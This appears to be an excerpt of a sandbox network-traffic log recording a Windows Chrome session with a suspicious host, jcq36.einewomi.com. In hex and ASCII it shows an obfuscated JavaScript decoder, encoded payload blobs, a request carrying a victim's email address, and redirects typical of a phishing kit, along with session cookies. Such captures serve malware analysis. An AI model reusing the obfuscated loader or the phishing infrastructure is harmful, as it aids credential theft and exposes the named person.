2024-04-24 21:07:58 UTC	997	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=brLAoxPgwTlUWn0YuaRkZuCwvGZLunUzG4DDXu2X7t4o9jow0hwMnkvKHnNYJFYoal76uK2iQ53GtCiNt5xZba%2FkJ1ZboSjc%2Fs59Lwe3a1DWE9Dzp2wZ%2F3fXXkdmig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Ild0RVFoNHJ0bkJGbFlUNFYvNEgvZlE9PSIsInZhbHVlIjoibWZPQnlDRTVMUGU1RVN2aWZuM0RWdS9BbWxhMVN5b2VIcVVHUnR0UUovT1p2aXp4YnRSd1FxZXpIeDVGcU42VzlJVnkydFNhQ2VWeVJFaklsNnc1dEFZK0psM2xCdzVLOWFpWjh4bjZXQklRRG9wdkFwOVNoQW5OUElFNFd0b0IiLCJtYWMiOiIzYWEzZmVjOGIxOTdiODYxYTYwOTQxOTFjNTIzNWU0NWFjOGFmZDdiYmVhNGUwNTdlMjQxOTZjMmZlNDI2NDczIiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 23:07:57 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 21:07:58 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 5a 5a 59 32 31 55 4e 47 4e 44 55 47 68 58 65 47 4a 6a 54 58 56 55 51 6b 4d 30 4d 45 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 57 64 35 63 6e 56 75 4c 32 64 6a 62 58 41 7a 61 55 78 4f 4e 33 70 4d 4d 69 38 7a 61 32 46 4f 57 58 68 6e 5a 6e 55 32 63 6d 70 48 5a 56 6c 52 57 6d 46 61 64 6d 5a 53 62 33 4e 72 59 30 39 61 53 48 42 32 4c 31 70 6e 65 57 64 77 55 31 52 58 59 6d 4e 34 64 56 51 76 4d 7a 42 6a 4d 6e 68 6a 61 55 74 4e 65 46 68 56 5a 6a 55 33 5a 47 68 4a 55 6c 56 45 4e 6c 68 78 5a 79 39 58 5a 33 4e 56 54 31 42 44 55 44 6c 57 4d 7a 56 42 4e 46 52 53 57 58 4e 7a 64 6a 45 7a 5a 6d 5a 4d 4d 55 35 53 4d 6b 4a 45 55 31 4e 7a 59 31 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImZZY21UNGNDUGhXeGJjTXVUQkM0MEE9PSIsInZhbHVlIjoiYWd5cnVuL2djbXAzaUxON3pMMi8za2FOWXhnZnU2cmpHZVlRWmFadmZSb3NrY09aSHB2L1pneWdwU1RXYmN4dVQvMzBjMnhjaUtNeFhVZjU3ZGhJUlVENlhxZy9XZ3NVT1BDUDlWMzVBNFRSWXNzdjEzZmZMMU5SMkJEU1NzY1E
2024-04-24 21:07:58 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2024-04-24 21:07:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49751	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:58 UTC	1471	OUT	GET /3lwz8fh/ HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://jcq36.einewomi.com/3lwz8fh/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ild0RVFoNHJ0bkJGbFlUNFYvNEgvZlE9PSIsInZhbHVlIjoibWZPQnlDRTVMUGU1RVN2aWZuM0RWdS9BbWxhMVN5b2VIcVVHUnR0UUovT1p2aXp4YnRSd1FxZXpIeDVGcU42VzlJVnkydFNhQ2VWeVJFaklsNnc1dEFZK0psM2xCdzVLOWFpWjh4bjZXQklRRG9wdkFwOVNoQW5OUElFNFd0b0IiLCJtYWMiOiIzYWEzZmVjOGIxOTdiODYxYTYwOTQxOTFjNTIzNWU0NWFjOGFmZDdiYmVhNGUwNTdlMjQxOTZjMmZlNDI2NDczIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZZY21UNGNDUGhXeGJjTXVUQkM0MEE9PSIsInZhbHVlIjoiYWd5cnVuL2djbXAzaUxON3pMMi8za2FOWXhnZnU2cmpHZVlRWmFadmZSb3NrY09aSHB2L1pneWdwU1RXYmN4dVQvMzBjMnhjaUtNeFhVZjU3ZGhJUlVENlhxZy9XZ3NVT1BDUDlWMzVBNFRSWXNzdjEzZmZMMU5SMkJEU1NzY1EiLCJtYWMiOiJhOTllMGYyNTM3OTEzYjk1NzIxZmJkY2FjNjk5NzllZmY2ZWUwOGY4Y2NlYzQyY2QxNWY1YTUwOTIxZWYyZTNhIiwidGFnIjoiIn0%3D
2024-04-24 21:07:59 UTC	999	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vNL3xFSoY67xTE5ITDkHTDMPnlhs5BNJ43nzgZkG36QEB8u1AxY6vYLw1iwu0gOXJNAAlvgmbKgMONaswSYhMO012yPX1L8HNoL8k99XVBSRmMnKg0G1KmPWFIHJbA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IjdZVEVlUFNBT29GaFhEaXFaRUhKclE9PSIsInZhbHVlIjoicmRXdVRGOEl1dWVzVEphWXJyMjNGMFJyU0ZrMlI3RUI5cjF3Ukh0RTMvbDdHbHVTb2psWGs1NDRsL0s3UlZlQ283ZW1iRlprQjNhY2dPQ1grcDAvMEhqdldpSnZhUjFIaDRrVlhydDdwS1NYWFFYc1VaM1N1L3V0U3lLU3pheHYiLCJtYWMiOiI3NjE3MWJmNDQ5MzRlMjEyYjdjYzExN2IwZmQ4YjA2ZGU2OWU0OTA1M2M2N2QxNWUxNTE4MzkzZTAyYjYxMjY2IiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 23:07:58 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 21:07:59 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 59 76 5a 33 42 77 52 6a 4e 33 4e 6b 39 70 63 44 42 74 4e 30 5a 55 4d 31 4e 33 62 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 47 30 31 54 53 39 42 4e 43 39 56 5a 45 45 34 65 45 74 4e 52 44 68 71 62 56 55 33 53 56 64 55 64 6a 6c 76 59 6a 4e 78 65 6d 59 79 54 6d 4d 34 56 47 6c 68 55 30 35 73 4b 31 67 7a 61 6b 70 52 61 57 4a 48 4d 58 45 76 51 33 4a 30 52 56 4e 4f 56 44 4a 72 61 31 42 49 55 6a 6c 57 4d 30 35 53 54 30 59 30 4e 6d 70 47 62 54 6c 36 57 69 74 56 62 32 63 34 51 6b 68 31 4f 57 78 47 52 44 4e 58 64 6a 46 4e 5a 54 5a 74 62 30 4a 4e 64 79 73 7a 61 6d 56 35 61 45 5a 78 4e 58 51 32 54 46 63 32 4d 43 39 4b 63 6d 46 47 65 56 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjYvZ3BwRjN3Nk9pcDBtN0ZUM1N3bGc9PSIsInZhbHVlIjoiWG01TS9BNC9VZEE4eEtNRDhqbVU3SVdUdjlvYjNxemYyTmM4VGlhU05sK1gzakpRaWJHMXEvQ3J0RVNOVDJra1BIUjlWM05ST0Y0NmpGbTl6WitVb2c4Qkh1OWxGRDNXdjFNZTZtb0JNdyszamV5aEZxNXQ2TFc2MC9KcmFGeVg
2024-04-24 21:07:59 UTC	1369	IN	Data Raw: 37 31 34 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 58 57 45 57 4d 4e 7a 46 46 28 56 77 42 69 75 42 4a 4c 6d 53 2c 20 6d 42 67 56 65 63 44 5a 45 70 29 20 7b 0d 0a 6c 65 74 20 7a 73 43 77 55 59 4d 6f 44 41 20 3d 20 27 27 3b 0d 0a 56 77 42 69 75 42 4a 4c 6d 53 20 3d 20 61 74 6f 62 28 56 77 42 69 75 42 4a 4c 6d 53 29 3b 0d 0a 6c 65 74 20 7a 70 4e 46 77 6d 58 65 63 4d 20 3d 20 6d 42 67 56 65 63 44 5a 45 70 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 56 77 42 69 75 42 4a 4c 6d 53 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 7a 73 43 77 55 59 4d 6f 44 41 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 56 77 42 69 75 42 4a 4c 6d 53 2e 63 68 61 72 43 6f Data Ascii: 714<script>function GXWEWMNzFF(VwBiuBJLmS, mBgVecDZEp) {let zsCwUYMoDA = '';VwBiuBJLmS = atob(VwBiuBJLmS);let zpNFwmXecM = mBgVecDZEp.length;for (let i = 0; i < VwBiuBJLmS.length; i++) { zsCwUYMoDA += String.fromCharCode(VwBiuBJLmS.charCo
2024-04-24 21:07:59 UTC	450	IN	Data Raw: 4d 67 5a 53 47 53 49 4f 42 52 56 52 54 47 6c 61 61 32 73 34 51 56 77 72 45 69 51 64 45 78 31 4e 44 6b 49 72 52 68 52 64 61 46 39 74 48 42 4e 42 4b 68 63 55 48 67 64 66 61 67 64 69 56 69 77 4e 43 30 67 37 57 78 38 65 62 78 4d 4e 56 6d 49 4b 4d 78 35 63 61 6d 59 30 51 53 73 43 61 55 78 53 45 42 64 76 42 68 64 65 53 43 45 31 50 45 68 50 42 7a 63 59 4a 42 6c 5a 65 31 4a 65 51 69 4d 44 57 41 30 30 62 6d 5a 53 45 42 63 34 42 68 38 53 56 68 4e 6f 48 6c 39 55 4c 68 73 59 47 56 64 4b 4c 67 42 56 55 57 39 53 55 51 46 51 43 69 49 64 52 78 6b 6a 41 42 49 58 54 51 30 70 48 42 35 48 4c 68 73 5a 47 46 67 4a 49 30 6b 39 50 57 39 50 55 56 5a 45 61 55 78 53 45 42 64 76 42 68 64 65 53 43 45 31 50 45 68 50 42 7a 63 59 4a 42 6c 46 65 30 38 51 57 54 6f 44 48 56 39 43 61 55 78 Data Ascii: MgZSGSIOBRVRTGlaa2s4QVwrEiQdEx1NDkIrRhRdaF9tHBNBKhcUHgdfagdiViwNC0g7Wx8ebxMNVmIKMx5camY0QSsCaUxSEBdvBhdeSCE1PEhPBzcYJBlZe1JeQiMDWA00bmZSEBc4Bh8SVhNoHl9ULhsYGVdKLgBVUW9SUQFQCiIdRxkjABIXTQ0pHB5HLhsZGFgJI0k9PW9PUVZEaUxSEBdvBhdeSCE1PEhPBzcYJBlFe08QWToDHV9CaUx
2024-04-24 21:07:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49754	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:58 UTC	1096	OUT	GET /dxYuNfPDDu8evm7k5QtzW8BRxjPpdbn HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ild0RVFoNHJ0bkJGbFlUNFYvNEgvZlE9PSIsInZhbHVlIjoibWZPQnlDRTVMUGU1RVN2aWZuM0RWdS9BbWxhMVN5b2VIcVVHUnR0UUovT1p2aXp4YnRSd1FxZXpIeDVGcU42VzlJVnkydFNhQ2VWeVJFaklsNnc1dEFZK0psM2xCdzVLOWFpWjh4bjZXQklRRG9wdkFwOVNoQW5OUElFNFd0b0IiLCJtYWMiOiIzYWEzZmVjOGIxOTdiODYxYTYwOTQxOTFjNTIzNWU0NWFjOGFmZDdiYmVhNGUwNTdlMjQxOTZjMmZlNDI2NDczIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZZY21UNGNDUGhXeGJjTXVUQkM0MEE9PSIsInZhbHVlIjoiYWd5cnVuL2djbXAzaUxON3pMMi8za2FOWXhnZnU2cmpHZVlRWmFadmZSb3NrY09aSHB2L1pneWdwU1RXYmN4dVQvMzBjMnhjaUtNeFhVZjU3ZGhJUlVENlhxZy9XZ3NVT1BDUDlWMzVBNFRSWXNzdjEzZmZMMU5SMkJEU1NzY1EiLCJtYWMiOiJhOTllMGYyNTM3OTEzYjk1NzIxZmJkY2FjNjk5NzllZmY2ZWUwOGY4Y2NlYzQyY2QxNWY1YTUwOTIxZWYyZTNhIiwidGFnIjoiIn0%3D
2024-04-24 21:07:59 UTC	581	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 21:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RBpGCdAHewQBXoHE1Hiv4NGkZKOAWsP%2F00gNUVboQJKP%2FfvZGFnDVbSiqRwnQbJjS3gO1Q7GXjtLk8pzFkKK6p7CLbS83MDgATmu2uSX4icrPx%2FlEJ%2BmWCiAlAeI1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910e84e122aab-LAX
2024-04-24 21:07:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49750	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:59 UTC	1451	OUT	GET /3lwz8fh/?IMbnanderson@presidio.com HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://jcq36.einewomi.com/3lwz8fh/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjdZVEVlUFNBT29GaFhEaXFaRUhKclE9PSIsInZhbHVlIjoicmRXdVRGOEl1dWVzVEphWXJyMjNGMFJyU0ZrMlI3RUI5cjF3Ukh0RTMvbDdHbHVTb2psWGs1NDRsL0s3UlZlQ283ZW1iRlprQjNhY2dPQ1grcDAvMEhqdldpSnZhUjFIaDRrVlhydDdwS1NYWFFYc1VaM1N1L3V0U3lLU3pheHYiLCJtYWMiOiI3NjE3MWJmNDQ5MzRlMjEyYjdjYzExN2IwZmQ4YjA2ZGU2OWU0OTA1M2M2N2QxNWUxNTE4MzkzZTAyYjYxMjY2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYvZ3BwRjN3Nk9pcDBtN0ZUM1N3bGc9PSIsInZhbHVlIjoiWG01TS9BNC9VZEE4eEtNRDhqbVU3SVdUdjlvYjNxemYyTmM4VGlhU05sK1gzakpRaWJHMXEvQ3J0RVNOVDJra1BIUjlWM05ST0Y0NmpGbTl6WitVb2c4Qkh1OWxGRDNXdjFNZTZtb0JNdyszamV5aEZxNXQ2TFc2MC9KcmFGeVgiLCJtYWMiOiIxMjE4NTU0ZWJmMjdlYzI5MzkwMzMyOThiMjNiMGM2ZTZiYWYwMTk2OThlYTMxYzAyYTJkMTEwNTUwM2Q3NTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:07:59 UTC	1167	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 21:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Location: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g9lvpQtMV9Vkxv16vC5e3S9LKahNuwvK1a4hDg2o%2FMVvGs9YRCMYhOrMQf3uKrt7n4neX0j7fttMVIcEwx7%2Bv8yyacx2E7ZingXPdI9nykO%2B5%2BN23jcSEitSmmt5Mg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6ImNxTFF6YzFxanlMVmpFTHNOTEY2T2c9PSIsInZhbHVlIjoiazFac3dYY28vUmtHU3RHQ2ZhTTg2M1N1Sm9IbE5ibmgwZ2Y5VVdieVB4MXM5TDNaaEJld2pGVkxNRzc5S0RaT0FpdGZ3aGhXOFV2akt4SzRiVk1mbDNJa3RLcnZQN2FVN0pkZkZUd3FGMW5ubm1MNFFaRGJDMEFnayt6eWdkWi8iLCJtYWMiOiIwMDgyMTJjMDA2NjIxNmZiMGYxZWYwNWJjODU3ODYzMzVjMzJkNDQzZmU4NjZiY2FkNWFjYTJhZTUxNDhkMjY1IiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 23:07:59 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 21:07:59 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 5a 47 53 57 63 78 65 54 5a 73 61 45 5a 43 59 32 38 72 64 58 52 72 55 6b 52 6b 62 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 55 70 4f 65 55 52 57 52 57 52 6d 56 32 78 47 4e 7a 5a 46 56 47 63 7a 64 6c 4a 68 65 55 64 54 52 32 6f 77 53 55 5a 55 55 45 64 6c 51 6e 6f 35 51 57 64 6e 53 6d 31 7a 62 6d 64 56 4e 48 64 58 59 6e 56 6a 52 6e 4e 34 4d 46 52 4b 4e 45 39 49 62 54 46 4a 51 32 56 51 57 56 59 33 56 46 46 53 4e 47 39 5a 55 30 31 30 4d 6d 6c 52 52 33 70 47 63 31 56 47 5a 6d 74 57 62 32 63 76 65 6d 35 74 4f 45 70 4b 57 54 52 50 4d 47 4a 78 54 79 73 79 5a 55 52 59 56 48 56 5a 55 6e 56 53 52 30 56 59 53 45 70 78 4e 54 49 35 4e 7a 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkZGSWcxeTZsaEZCY28rdXRrUkRkbWc9PSIsInZhbHVlIjoiQUpOeURWRWRmV2xGNzZFVGczdlJheUdTR2owSUZUUEdlQno5QWdnSm1zbmdVNHdXYnVjRnN4MFRKNE9IbTFJQ2VQWVY3VFFSNG9ZU010MmlRR3pGc1VGZmtWb2cvem5tOEpKWTRPMGJxTysyZURYVHVZUnVSR0VYSEpxNTI5NzY
2024-04-24 21:07:59 UTC	833	IN	Data Raw: 33 33 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 6a 63 71 33 36 2e 65 69 6e 65 77 6f 6d 69 2e 63 6f 6d 2f 6f 70 57 49 46 58 65 51 50 77 55 44 6c 65 48 52 6c 46 59 4f 58 67 6c 66 41 53 44 55 4a 4e 50 59 49 53 45 4b 4b 51 59 52 49 4e 54 55 53 4a 55 52 48 46 54 4f 47 52 4e 4f 43 45 55 4c 45 4c 3f 43 6c 68 57 55 66 5a 6c 67 67 43 4d 50 52 71 65 72 4b 42 6b 73 73 55 4b 53 51 45 4a 57 56 43 46 59 48 52 50 4a 4a 45 4f 44 52 Data Ascii: 33a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODR
2024-04-24 21:07:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49755	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:59 UTC	1535	OUT	GET /opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://jcq36.einewomi.com/3lwz8fh/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNxTFF6YzFxanlMVmpFTHNOTEY2T2c9PSIsInZhbHVlIjoiazFac3dYY28vUmtHU3RHQ2ZhTTg2M1N1Sm9IbE5ibmgwZ2Y5VVdieVB4MXM5TDNaaEJld2pGVkxNRzc5S0RaT0FpdGZ3aGhXOFV2akt4SzRiVk1mbDNJa3RLcnZQN2FVN0pkZkZUd3FGMW5ubm1MNFFaRGJDMEFnayt6eWdkWi8iLCJtYWMiOiIwMDgyMTJjMDA2NjIxNmZiMGYxZWYwNWJjODU3ODYzMzVjMzJkNDQzZmU4NjZiY2FkNWFjYTJhZTUxNDhkMjY1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkZGSWcxeTZsaEZCY28rdXRrUkRkbWc9PSIsInZhbHVlIjoiQUpOeURWRWRmV2xGNzZFVGczdlJheUdTR2owSUZUUEdlQno5QWdnSm1zbmdVNHdXYnVjRnN4MFRKNE9IbTFJQ2VQWVY3VFFSNG9ZU010MmlRR3pGc1VGZmtWb2cvem5tOEpKWTRPMGJxTysyZURYVHVZUnVSR0VYSEpxNTI5NzYiLCJtYWMiOiJiOWYwNWJmMWMxMzcyNTk4YWUwMzQwYmQyYzBmMjAwZGJmMDcyODVjYjRhN2VkYmJkMmIwNmU4ZDMwYjgyMjU0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:00 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H%2BuQXYhWwcsEK2qOGAe2K81LdRZUgocHY8yZOHaopl%2F65CSNyIJtPFw6oaDiJgn6zChn4niLiFAVJydV4qNQMloxXSgpsB%2BmjDaCA0D6wYMHSIH%2FQ18cVa2V5dw%2Bew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 23:08:00 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 21:08:00 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 35 71 4f 47 56 61 59 30 52 50 4c 32 35 4e 61 32 5a 44 65 45 35 4e 57 47 45 7a 51 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 58 51 72 54 6c 5a 54 63 32 70 46 4d 31 64 69 51 6d 6c 74 54 54 5a 72 53 32 56 61 4f 54 42 58 61 30 46 33 57 45 46 70 54 6b 70 74 5a 6b 6c 79 54 45 39 4b 4b 30 46 53 4d 45 63 31 62 55 39 6b 4d 6b 5a 73 5a 6b 4a 51 61 44 55 35 61 56 42 4f 5a 31 64 44 4d 55 4e 45 52 32 5a 47 63 44 52 57 55 44 51 32 64 6a 56 47 65 6e 68 76 52 47 31 4a 56 55 74 30 4d 55 4a 46 51 6b 64 42 56 30 4a 42 53 6a 52 6e 4c 33 4a 53 53 32 78 74 4f 47 35 61 4d 54 56 45 59 6d 51 79 64 30 56 6b 52 58 59 78 4d 7a 4d 77 53 30 64 43 61 32 77 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2w
